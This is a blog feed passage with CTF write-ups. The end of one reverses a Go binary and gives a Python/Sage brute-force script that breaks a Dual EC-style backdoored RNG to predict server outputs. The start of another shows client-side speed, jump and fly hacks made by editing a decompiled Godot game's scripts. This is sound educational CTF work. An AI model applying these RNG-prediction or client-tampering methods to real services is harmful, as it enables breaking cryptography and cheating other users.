  <span class="n">v6</span> <span class="o">=</span> <span class="p">(</span><span class="n">__int64</span> <span class="o">*</span><span class="p">)</span><span class="n">qword_864E88</span><span class="p">;</span>
  <span class="n">v5</span> <span class="o">=</span> <span class="mi">8LL</span> <span class="o">*</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">qword_864E88</span> <span class="o">+</span> <span class="mi">16</span><span class="p">);</span>
  <span class="n">v7</span> <span class="o">=</span> <span class="n">runtime_makeslice</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="o">&amp;</span><span class="n">RTYPE_uint8</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="n">v5</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">v5</span> <span class="o">&lt;</span> <span class="n">math_big_nat_bytes</span><span class="p">(</span><span class="n">v6</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">v6</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="n">v6</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="n">v7</span><span class="p">,</span> <span class="n">v5</span><span class="p">,</span> <span class="n">v5</span><span class="p">)</span> <span class="p">)</span>
    <span class="n">runtime_panicSliceB</span><span class="p">();</span>
  <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__golang</span> <span class="o">**</span><span class="p">)(</span><span class="n">__int64</span><span class="p">))(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">56</span><span class="p">))(</span><span class="n">a2</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">dword_896B70</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">runtime_gcWriteBarrier</span><span class="p">();</span>
    <span class="n">runtime_gcWriteBarrierCX</span><span class="p">();</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
    <span class="n">qword_864E68</span> <span class="o">=</span> <span class="n">v3</span><span class="p">;</span>
    <span class="n">qword_864E70</span> <span class="o">=</span> <span class="n">v4</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">__int64</span> <span class="p">(</span><span class="n">__golang</span> <span class="o">**</span><span class="p">)(</span><span class="n">__int64</span><span class="p">))(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">48</span><span class="p">))(</span><span class="n">a2</span><span class="p">);</span>
  <span class="n">math_big__ptr_Int_ModInverse</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="n">v8</span><span class="p">,</span> <span class="n">qword_864E88</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">v2</span> <span class="o">+</span> <span class="mi">8</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Lots of slicing into bytes to pass args, which is what <code class="language-plaintext highlighter-rouge">makeslice</code> does. The type is of <code class="language-plaintext highlighter-rouge">uint8</code>, which just means it’s a series of bytes. The real interesting part of this code is the function call happeing in the middle:
<strong>0x637282</strong>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__golang</span> <span class="o">**</span><span class="p">)(</span><span class="n">__int64</span><span class="p">))(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">56</span><span class="p">))(</span><span class="n">a2</span><span class="p">);</span>
</code></pre></div></div>

<p>Where does it go? What is its actual args?</p>

<p><img src="/assets/images/ctf/insomnia-22/pic4.png" alt="" /></p>

<p>The address points to <em>crypto/elliptic.p256Curve.ScalarBaseMult</em>, which means we are preforming the multiplacation for <code class="language-plaintext highlighter-rouge">Q = k*P</code> we talked about earlier! The code we are calling corresponds:</p>

<p><strong><a href="https://cs.opensource.google/go/go/+/refs/tags/go1.17.6:src/crypto/elliptic/p256.go;l=67">crypto/elliptic/p256.go:67</a></strong></p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="p">(</span><span class="n">p256Curve</span><span class="p">)</span> <span class="n">ScalarBaseMult</span><span class="p">(</span><span class="n">scalar</span> <span class="p">[]</span><span class="kt">byte</span><span class="p">)</span> <span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="o">*</span><span class="n">big</span><span class="o">.</span><span class="n">Int</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">var</span> <span class="n">scalarReversed</span> <span class="p">[</span><span class="m">32</span><span class="p">]</span><span class="kt">byte</span>
	<span class="n">p256GetScalar</span><span class="p">(</span><span class="o">&amp;</span><span class="n">scalarReversed</span><span class="p">,</span> <span class="n">scalar</span><span class="p">)</span>

	<span class="k">var</span> <span class="n">x1</span><span class="p">,</span> <span class="n">y1</span><span class="p">,</span> <span class="n">z1</span> <span class="p">[</span><span class="n">p256Limbs</span><span class="p">]</span><span class="kt">uint32</span>
	<span class="n">p256ScalarBaseMult</span><span class="p">(</span><span class="o">&amp;</span><span class="n">x1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">y1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">z1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">scalarReversed</span><span class="p">)</span>
	<span class="k">return</span> <span class="n">p256ToAffine</span><span class="p">(</span><span class="o">&amp;</span><span class="n">x1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">y1</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">z1</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>To translate this Go a little, it’s important to remember that Go have types a function works on, as well as types for its args, and types for its output. A function depending on a type may sound confusing, but it’s just like using class methods. As an example, in Python you can do:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[].</span><span class="n">append</span><span class="p">(</span><span class="mi">1337</span><span class="p">)</span>
</code></pre></div></div>

<p>In a Go-like language, this would look like:</p>
<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">func</span> <span class="p">(</span><span class="n">list</span><span class="p">)</span> <span class="nb">append</span><span class="p">(</span><span class="n">anytype</span> <span class="n">x</span><span class="p">)</span> <span class="p">(</span><span class="n">None</span><span class="p">)</span> <span class="p">{</span>
	<span class="o">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p>In assembly, this will look like having an extra pointer in the args, since IDA will think that the pointer the function is working on is a part of the function. So the function <code class="language-plaintext highlighter-rouge">ScalarBaseMult</code> really takes two args. The first arg is a <code class="language-plaintext highlighter-rouge">p256</code> curve object. The second is the scalar <code class="language-plaintext highlighter-rouge">k</code> that we will multiply <code class="language-plaintext highlighter-rouge">P</code> by (whatever P is).</p>

<p>If the first arg really is a <code class="language-plaintext highlighter-rouge">p256</code> object, then the first pointer in it should be a pointer to params which is a pointer to the constants we knew earlier. This is all based on the object being a <a href="https://pkg.go.dev/crypto/elliptic#Curve">Curve</a> from Go.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__golang</span> <span class="o">**</span><span class="p">)(</span><span class="n">__int64</span><span class="p">))(</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">56</span><span class="p">))(</span><span class="n">a2</span><span class="p">);</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">gef</span><span class="err">➤</span>  <span class="n">x</span><span class="o">/</span><span class="mi">10</span><span class="n">x</span> <span class="p">((</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span> <span class="err">$</span><span class="n">a2</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="mh">0xc00005c300</span><span class="o">:</span>   <span class="mh">0x000000c00000e3c0</span>      <span class="mh">0x000000c00000e400</span>
<span class="mh">0xc00005c310</span><span class="o">:</span>   <span class="mh">0x000000c00000e440</span>      <span class="mh">0x000000c00000e480</span>
<span class="mh">0xc00005c320</span><span class="o">:</span>   <span class="mh">0x000000c00000e4c0</span>      <span class="mh">0x0000000000000100</span>
<span class="mh">0xc00005c330</span><span class="o">:</span>   <span class="mh">0x00000000006a743b</span>      <span class="mh">0x0000000000000005</span>
<span class="mh">0xc00005c340</span><span class="o">:</span>   <span class="mh">0x000000c00000e500</span>      <span class="mh">0x000000c00000e540</span>
<span class="n">gef</span><span class="err">➤</span>  <span class="n">x</span><span class="o">/</span><span class="mi">10</span><span class="n">x</span> <span class="p">((</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span> <span class="p">((</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span> <span class="err">$</span><span class="n">a2</span><span class="p">)[</span><span class="mi">0</span><span class="p">])[</span><span class="mi">0</span><span class="p">]</span>
<span class="mh">0xc00000e3c0</span><span class="o">:</span>   <span class="mh">0x0000000000000000</span>      <span class="mh">0x000000c0000181e0</span>
<span class="mh">0xc00000e3d0</span><span class="o">:</span>   <span class="mh">0x0000000000000004</span>      <span class="mh">0x0000000000000006</span>
<span class="mh">0xc00000e3e0</span><span class="o">:</span>   <span class="mh">0x00000000006b782d</span>      <span class="mh">0x000000000000004e</span>
<span class="mh">0xc00000e3f0</span><span class="o">:</span>   <span class="mh">0x000000000000004e</span>      <span class="mh">0xffffffffffffffff</span>
<span class="mh">0xc00000e400</span><span class="o">:</span>   <span class="mh">0x0000000000000000</span>      <span class="mh">0x000000c000018210</span>
<span class="n">gef</span><span class="err">➤</span>  <span class="n">x</span><span class="o">/</span><span class="mi">8</span><span class="n">gx</span> <span class="p">((</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span> <span class="p">((</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span> <span class="p">((</span><span class="kt">long</span> <span class="o">*</span><span class="p">)</span> <span class="err">$</span><span class="n">a2</span><span class="p">)[</span><span class="mi">0</span><span class="p">])[</span><span class="mi">0</span><span class="p">])[</span><span class="mi">1</span><span class="p">]</span>
<span class="mh">0xc0000181e0</span><span class="o">:</span>   <span class="mh">0xffffffffffffffff</span>      <span class="mh">0x00000000ffffffff</span>
<span class="mh">0xc0000181f0</span><span class="o">:</span>   <span class="mh">0x0000000000000000</span>      <span class="mh">0xffffffff00000001</span>
</code></pre></div></div>

<p>So <code class="language-plaintext highlighter-rouge">a2</code> is a pointer to a series of pointers. And the first of those pointers points to a <code class="language-plaintext highlighter-rouge">Big Int</code> based on what we know of the structure of big ints. Then if we dereference the pointer that points to the value of the int, we see that its: <code class="language-plaintext highlighter-rouge">0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff</code>. That value may not look familiar at first, not until you convert the value the set to <code class="language-plaintext highlighter-rouge">p</code> (show <code class="language-plaintext highlighter-rouge">P</code>) in the Go source int to hex:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">4</span><span class="p">]:</span> <span class="n">p</span> <span class="o">=</span> <span class="mi">115792089210356248762697446949407573530086143415290314195533631308867097853951</span>

<span class="n">In</span> <span class="p">[</span><span class="mi">5</span><span class="p">]:</span> <span class="nb">hex</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">5</span><span class="p">]:</span> <span class="s">'0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff'</span>
</code></pre></div></div>

<p>Confirmed we are working with the direct pointer to our curve. Sweet, so we only have one more step to understand how <code class="language-plaintext highlighter-rouge">Q</code> is generated. Let’s look inside the <code class="language-plaintext highlighter-rouge">ScalarBaseMult</code> function we saw earlier. If we break in the middle of the function before the <code class="language-plaintext highlighter-rouge">p256ScalarBaseMul</code> happens we can examine what the scalar <code class="language-plaintext highlighter-rouge">k</code> is and what the <code class="language-plaintext highlighter-rouge">P</code> (the point) is they are basing it on… since we still don’t know that either.</p>

<p><strong>0x535D98</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">crypto_elliptic__ptr_p256Point_p256BaseMult</span><span class="p">((</span><span class="n">__int64</span><span class="p">)</span><span class="n">v6</span><span class="p">,</span> <span class="p">(</span><span class="n">__int64</span><span class="p">)</span><span class="n">v5</span><span class="p">,</span> <span class="mi">4LL</span><span class="p">);</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=======
     7     __int128 result; // [rsp+F0h] [rbp+28h]
     8
     9     memset(v5, 0, sizeof(v5));
    10     *(_QWORD *)&amp;v5[0] = crypto_elliptic_p256GetScalar((__int64)v5, 4LL, 4LL, a2, a3, a4);
    11     ((void (*)(void))loc_46BA51)();
→   12     crypto_elliptic__ptr_p256Point_p256BaseMult((__int64)v6, (__int64)v5, 4LL);
    13     *(_QWORD *)&amp;result = crypto_elliptic__ptr_p256Point_p256PointToAffine((__int64)v6);
    14     *((_QWORD *)&amp;result + 1) = v4;
    15     return result;
    16   }
=======
gef➤  x/4gx ((long *) $v5)[0]
0xc000135de8:   0x5957fd5f37d8be40      0xffb18764a3b4df1f
0xc000135df8:   0xc40ba24e11bf3ec7      0x132867e88e82431d
gef➤
</code></pre></div></div>

<p>So it looks like the scalar <code class="language-plaintext highlighter-rouge">k</code> is <code class="language-plaintext highlighter-rouge">0x132867e88e82431dc40ba24e11bf3ec7ffb18764a3b4df1f5957fd5f37d8be40</code>. I had a lot of trouble figuring out what <code class="language-plaintext highlighter-rouge">v6</code> was since the pointers ran very deep, but it actually ended up being a pointer to two points inside the <code class="language-plaintext highlighter-rouge">p256</code> curve pointer. I still did not understand what <code class="language-plaintext highlighter-rouge">P</code> (the point) was. I</p>

<p>Using the same method as above for the second call, <code class="language-plaintext highlighter-rouge">PointToAffine</code>, I was able to get the <code class="language-plaintext highlighter-rouge">(Qx, Qy)</code> for <code class="language-plaintext highlighter-rouge">Q</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Qx = 0xe4443e00380471a612d205fc270dd16dff008f4adc4f2ad2c32fed8e74f76033
Qy = 0x07275f38738e8496bc0ade55de646372df388f04cdf6a09cf80108e0d2878ce5
</code></pre></div></div>

<p>All I needed now was <code class="language-plaintext highlighter-rouge">P</code>, which I was not sure how I lost. I posted <code class="language-plaintext highlighter-rouge">Q</code> and <code class="language-plaintext highlighter-rouge">k</code>, and @Samuel mentioned earlier started messing with it. Then he noticed something while I was reversing:</p>

<p><img src="/assets/images/ctf/insomnia-22/pic5.png" alt="" /></p>

<p>So <code class="language-plaintext highlighter-rouge">P</code> (the point), is actually <code class="language-plaintext highlighter-rouge">G</code>, which we know from the standard description.</p>

<h2 id="breaking-rng">Breaking RNG</h2>
<p>There is one other thing to note about how I knew this was the right attack. This is because in the paper it talks about the top 16 bits being lost when the original rng numbers are known. This aligns perfectly with the user-defined function <code class="language-plaintext highlighter-rouge">main_discard_bits</code>, which does the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main_discard_bits</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span> <span class="p">{</span>
	<span class="k">return</span> <span class="n">a1</span> <span class="o">&amp;&amp;</span> <span class="p">((</span><span class="mi">2</span> <span class="o">**</span> <span class="mi">240</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Recall the numbers are 256 bits wide. Finally, we are ready to run the attack. We simply need to run the attack we found in the earlier paper and script while guessing the top 16 bits of both <code class="language-plaintext highlighter-rouge">v1</code> and <code class="language-plaintext highlighter-rouge">v2</code>. We need to do this in less than 3 minutes to make it for the check on the server, so we make this process <code class="language-plaintext highlighter-rouge">fork</code> like crazy.</p>

<p>I used 32 workers to do this in around 10 seconds.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">worker_id</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
    <span class="n">worker_id</span> <span class="o">=</span> <span class="p">(</span><span class="n">worker_id</span> <span class="o">&lt;&lt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="mi">0</span> <span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">fork</span><span class="p">()</span> <span class="k">else</span> <span class="mi">1</span><span class="p">)</span>

<span class="k">if</span> <span class="n">worker_id</span><span class="p">:</span>
	<span class="c1">## do work
</span></code></pre></div></div>

<p>Thanks to help from @Samuel, this was the important part of the solving code:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c1">## the numbers given by the server
</span>    <span class="n">v1</span> <span class="o">=</span> <span class="mh">0x920324424eed2d0575b12b12857d9684ac3486b5087cddf8a60e4e129939</span>
    <span class="n">v2</span> <span class="o">=</span> <span class="mh">0xce9c8866c6e5f6a0816d7c10dca0c2e6ffaa3101ccc882b371136766052</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"running"</span><span class="p">,</span> <span class="n">worker_id</span><span class="p">)</span>

    <span class="c1">## optimized with np
</span>    <span class="n">arrs</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">array_split</span><span class="p">(</span><span class="nb">list</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="o">**</span><span class="mi">16</span><span class="p">)),</span> <span class="mi">32</span><span class="p">)</span>
    <span class="k">for</span> <span class="n">dr</span> <span class="ow">in</span> <span class="n">arrs</span><span class="p">[</span><span class="n">worker_id</span><span class="p">]:</span>
        <span class="n">_r1</span> <span class="o">=</span> <span class="n">v1</span> <span class="o">+</span> <span class="mi">2</span><span class="o">**</span><span class="mi">240</span> <span class="o">*</span> <span class="n">dr</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">R1</span> <span class="o">=</span> <span class="n">E</span><span class="p">.</span><span class="n">lift_x</span><span class="p">(</span><span class="n">_r1</span><span class="p">)</span>
            <span class="n">S1</span> <span class="o">=</span> <span class="n">xi</span> <span class="o">*</span> <span class="n">R1</span>
            <span class="n">_s2</span> <span class="o">=</span> <span class="n">Integer</span><span class="p">(</span><span class="n">S1</span><span class="p">.</span><span class="n">xy</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span>
            <span class="n">_r2</span> <span class="o">=</span> <span class="n">Integer</span><span class="p">((</span><span class="n">_s2</span> <span class="o">*</span> <span class="n">Q</span><span class="p">).</span><span class="n">xy</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span>
            <span class="n">_v2</span> <span class="o">=</span> <span class="n">_r2</span> <span class="o">&amp;</span> <span class="p">((</span><span class="mi">1</span><span class="o">&lt;&lt;</span><span class="mi">240</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>

            <span class="k">if</span> <span class="n">v2</span> <span class="o">!=</span> <span class="n">_v2</span><span class="p">:</span> <span class="k">continue</span>
            <span class="n">_s3</span> <span class="o">=</span> <span class="n">Integer</span><span class="p">((</span><span class="n">_s2</span> <span class="o">*</span> <span class="n">G</span><span class="p">).</span><span class="n">xy</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span>
            <span class="n">_r3</span> <span class="o">=</span> <span class="n">Integer</span><span class="p">((</span><span class="n">_s3</span> <span class="o">*</span> <span class="n">Q</span><span class="p">).</span><span class="n">xy</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span>
            <span class="n">_v3</span> <span class="o">=</span> <span class="n">_r3</span> <span class="o">&amp;</span> <span class="p">((</span><span class="mi">1</span><span class="o">&lt;&lt;</span><span class="mi">240</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span>

			<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'Got it!'</span><span class="p">,</span><span class="nb">hex</span><span class="p">(</span><span class="n">_v3</span><span class="p">))</span>
</code></pre></div></div>

<p>Find the full solve <a href="https://github.com/shellphish/writeups/blob/main/challenges/rev/golang/Insomnihack22-Nobus101/solve.py">here</a>.</p>

<h2 id="conclusion">Conclusion</h2>
<p>In conclusion, this challenge had a nice introduction to both Go reversing and to understanding a cool attack on RNG generated from the P256 EC implementation. As usual, this challenge was not possible to solve without both @redgate (whom stayed up late reversing with me) and @mystiz / Samuel.</p>]]></content><author><name></name></author><category term="ctf" /><category term="reversing" /><category term="game-hacking" /><category term="crypto" /><summary type="html"><![CDATA[Reversing a Go binary to find it generates flawed RNG from a P256 Elliptic Curve chosen with a reversible P and Q for number generation. Solution based on the Dual EC crypto paper.]]></summary></entry><entry><title type="html">Tasteless 21: Godot Game Hacking in Tasteless Shores</title><link href="https://mahaloz.re/2021/10/03/tasteless-21-tasteless-shores.html" rel="alternate" type="text/html" title="Tasteless 21: Godot Game Hacking in Tasteless Shores" /><published>2021-10-03T00:00:00+00:00</published><updated>2021-10-03T00:00:00+00:00</updated><id>https://mahaloz.re/2021/10/03/tasteless-21-tasteless-shores</id><content type="html" xml:base="https://mahaloz.re/2021/10/03/tasteless-21-tasteless-shores.html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>This weekend we played Tasteless 21 and they had a great series of challenges. This year they spent a painstaking amount of time making a 3D game called <code class="language-plaintext highlighter-rouge">Tasteless Shores</code>. It was big enough to be it’s own category in the game, hosting a total of 6 challenges in the same game. My teammates and I completed 4/6, and it was super fun. In this writeup I’ll try to mostly focus on how to do the game hacks that made solving the challenges possible.</p>

<h3 id="collaborators">Collaborators:</h3>
<ul>
  <li><a href="https://github.com/WGibbs15">@clasm</a></li>
  <li>@lucas_baizer</li>
  <li>@lbshine</li>
</ul>

<p><img src="/assets/images/ctf/tasteless-21/challenges.png" alt="" /></p>

<h2 id="challenge-description">Challenge Description:</h2>

<p>The entire challenge had its own page for the CTF. It had 3 files associated with it.
The client/server game binary, and its resources:</p>
<blockquote>
  <p>Linux
Download: https://s3.eu-central-1.amazonaws.com/tstlss.tasteless.eu/tasteless-shores.x86_64 and https://s3.eu-central-1.amazonaws.com/tstlss.tasteless.eu/tasteless-shores.pck</p>

  <p>Run ./tasteless-shores.x86_64 in the folder where the tasteless-shores.pck exists</p>
</blockquote>

<p>And the “master server” that ran the game server:</p>

<blockquote>
  <p>Linux: https://s3.eu-central-1.amazonaws.com/tstlss.tasteless.eu/server</p>

  <p>Run local setup:</p>

  <p>Masterserver: ./server</p>

  <p>ameserver: ./tasteless-shores.x86_64 server</p>

  <p>Game: ./tasteless-shores.x86_64 local</p>
</blockquote>

<p>They also provided a different binary for each OS. They had MacOS, Windows, and Linux. You can find all files relevant to my solve in my <a href="https://github.com/mahaloz/ctf_files/tree/main/ctfs/tasteless-21/tasteless-shores">ctf_files</a> on GitHub.</p>

<h2 id="overview-of-components">Overview of components</h2>

<p>At first, we were baited into analyzing the binaries provided, because we thought that the <code class="language-plaintext highlighter-rouge">.pck</code> file was just a resource pack. We spent around 2 hours looking at the binaries before we decided to actually look more into the <code class="language-plaintext highlighter-rouge">.pck</code> file, which was critical to this entire challenge set. For reference, the game binary is <strong>HUGE</strong>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>▶ <span class="nb">du</span> <span class="nt">-h</span> tasteless-shores.x86_64
38M	tasteless-shores.x86_64
</code></pre></div></div>

<p>It was insane. IDA could not load it fast enough. From a meta-game perspective, it was strange that they gave us a binary per-OS. This is not normal if you were supposed to reverse the binary, since that would change the binary per-player potentially. This made us start thinking that maybe the <code class="language-plaintext highlighter-rouge">.pck</code> was more important than we thought. We looked at the output of the binary again:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>▶ ./tasteless-shores.x86_64
Godot Engine v3.3.3.stable.official.b973f997f - https://godotengine.org
</code></pre></div></div>

<p>Which lead us to this link about <a href="https://docs.godotengine.org/en/stable/getting_started/workflow/export/exporting_pcks.html">godot and GDScripts</a>. Yes, this <code class="language-plaintext highlighter-rouge">.pck</code> was actually was more than just resource pack, so much so that it could contain full game logic. You could run the game binary in both client and server mode, so this made even more sense.</p>

<p>Lastly, the other <code class="language-plaintext highlighter-rouge">server</code> binary the organizers provided was for managing multiple game servers and connection routing. Think of it as a middle-man, or <a href="https://docs.godotengine.org/en/stable/getting_started/workflow/export/exporting_pcks.html">Bunjee Server</a>, like in Minecraft.</p>

<h2 id="game-logic">Game Logic</h2>

<p>Funny enough, the rest of this challenge has nothing to do with the binaries above. The only thing that mattered for the rest of the challenges was the <code class="language-plaintext highlighter-rouge">.pck</code> file. We found a <a href="https://github.com/bruvzg/gdsdecomp">decompiler</a> for GDScripts pretty fast from google. After using the decompielr feature, we had a full godot project:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>▶ tree <span class="nt">-L</span> 1
<span class="nb">.</span>
├── assets
├── default_env.tres
├── export_presets.cfg
├── game
├── icon.png
├── icon.png.import
├── project.godot
└── scenes
</code></pre></div></div>

<p>With most game logic things in <code class="language-plaintext highlighter-rouge">game</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>▶ tree ./game
./game
├── game.gd
├── items
│   ├── fishing_rod.gd
│   ├── item.gd
│   ├── items.gd
│   ├── melee_weapon.gd
│   ├── range_weapon.gd
│   └── weapon.gd
├── net
│   ├── client2.gd
│   └── server2.gd
├── player
│   ├── player.gd
│   ├── player_controller.gd
│   ├── spring_arm.gd
│   ├── water.gd
│   └── waves.gd
├── screen
│   ├── character.gd
│   ├── credits.gd
│   ├── load.gd
│   └── login.gd
├── ui
│   ├── center_notification.gd
│   ├── chat_container.gd
│   ├── compass.gd
│   ├── compass_item.gd
│   ├── inventory.gd
│   ├── minimap.gd
│   ├── player_ui.gd
│   ├── ui.gd
│   └── world_label.gd
└── unit
    ├── enemy.gd
    ├── npc.gd
    ├── skeleton.gd
    ├── unit.gd
    ├── unit_remote.gd
    └── unit_spawner.gd
</code></pre></div></div>

<p>As you can probably guess, <code class="language-plaintext highlighter-rouge">server2.gd</code> is run on the server. <code class="language-plaintext highlighter-rouge">client2.gd</code> is run on the client (your local machine)… This means we can modify anything in client (and anything it loads that is not the <code class="language-plaintext highlighter-rouge">Server</code>).</p>

<h2 id="speed-hacks-poc">Speed Hacks POC</h2>

<p>To prove we could <em>actually</em> modify the client, we first started with a simple proof-of-concept by making speed hacks. We modified the player controller, which interfaced with game to give you movement, here:</p>

<h3 id="player_conrollergd11">player_conroller.gd:11</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">moveSpeed</span><span class="p">:</span><span class="nx">float</span> <span class="o">=</span> <span class="mf">2.0</span>
<span class="kd">var</span> <span class="nx">jumpForce</span><span class="p">:</span><span class="nx">float</span> <span class="o">=</span> <span class="mf">5.0</span>
<span class="kd">var</span> <span class="nx">boatSpeed</span><span class="p">:</span><span class="nx">float</span> <span class="o">=</span> <span class="mf">25.0</span>
<span class="kd">var</span> <span class="nx">currentSpeed</span><span class="p">:</span><span class="nx">float</span> <span class="o">=</span> <span class="nx">moveSpeed</span>
<span class="kd">var</span> <span class="nx">vel</span><span class="p">:</span><span class="nx">Vector3</span> <span class="o">=</span> <span class="nx">Vector3</span><span class="p">()</span>
<span class="kd">var</span> <span class="nx">paused</span> <span class="o">=</span> <span class="kc">false</span>

<span class="nx">func</span> <span class="nx">_ready</span><span class="p">():</span>
	<span class="k">if</span> <span class="kc">true</span><span class="p">:</span>
		<span class="nx">moveSpeed</span> <span class="o">=</span> <span class="mf">5.0</span>
		<span class="nx">jumpForce</span> <span class="o">=</span> <span class="mf">10.0</span>
		<span class="nx">boatSpeed</span> <span class="o">=</span> <span class="mf">50.0</span>
</code></pre></div></div>

<p>We changed all the <code class="language-plaintext highlighter-rouge">moveSpeed</code> to 10. We recompiled with the earlier mentioned <a href="https://github.com/bruvzg/gdsdecomp">decompiler chain</a> This allowed us to <em>zoom</em> around the spawn island at top speeds. It looked really hacky as we speed glitched everywhere.</p>

<h2 id="jump-hacks">Jump Hacks</h2>

<p>While we were hacking speed, we thought we should have jump hacks as well. We modified the same file. We set the <code class="language-plaintext highlighter-rouge">jumpForce</code> to <code class="language-plaintext highlighter-rouge">100</code>. This is what it looked like:</p>

<p><img src="/assets/images/ctf/tasteless-21/jump_hacks.png" alt="yeeet" />
Me, flying hundreds of blocks from one jump.</p>

<h2 id="fly-hacks">Fly Hacks</h2>

<p>As one more fun thing, we added fly hacks (really just the lack of gravity). As is the theme, we modified the player controller:</p>

<h3 id="player_controller78">player_controller:78</h3>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">func</span> <span class="nx">_physics_process</span><span class="p">(</span><span class="nx">delta</span><span class="p">):</span>
	<span class="nx">vel</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="mi">0</span>
	<span class="nx">vel</span><span class="p">.</span><span class="nx">z</span> <span class="o">=</span> <span class="mi">0</span>
	
	<span class="kd">var</span> <span class="nx">input</span> <span class="o">=</span> <span class="nx">Vector3</span><span class="p">()</span>
    
	<span class="nx">vel</span><span class="p">.</span><span class="nx">y</span> <span class="o">+=</span> <span class="o">-</span> <span class="mf">9.8</span> <span class="o">*</span> <span class="nx">delta</span>
</code></pre></div></div>

<p>We modified the velocity and y so that we only ever went up, so now velocity would be greater than 0. We no longer fall after jumping.</p>

